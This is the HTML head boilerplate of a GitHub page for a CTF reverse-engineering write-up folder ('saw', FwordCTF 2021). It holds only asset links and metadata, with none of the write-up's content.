<link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" />
<script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script>
<meta name="viewport" content="width=device-width"> <title>ctf-writeups/FwordCTF 2021/Reverse engineering/saw at master · KEERRO/ctf-writeups · GitHub</title> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/64cab0c9b957062edda6be38ce05bb592716133df35f868b5e419f4a9d8ef3f0/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/FwordCTF 2021/Reverse engineering/saw at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/64cab0c9b957062edda6be38ce05bb592716133df35f868b5e419f4a9d8ef3f0/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/FwordCTF 2021/Reverse engineering/saw at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="B442:E6C4:1291AE4:139300F:618306AF" data-pjax-transient="true"/><meta name="html-safe-nonce" content="0d35dfb250eae4311788985826cbf652b81147a3b9f9d7fee3d53affec5e8a47" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNDQyOkU2QzQ6MTI5MUFFNDoxMzkzMDBGOjYxODMwNkFGIiwidmlzaXRvcl9pZCI6IjEzODI4MDM5MDEyNzQ4NTA5OTEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="c57bfbec1ee68a4a4478f799c9b9cdd7a6b45b30728b1900b9bc5b9483aa350f" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:162845937" data-pjax-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" />
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION">
<meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5">
<meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git">
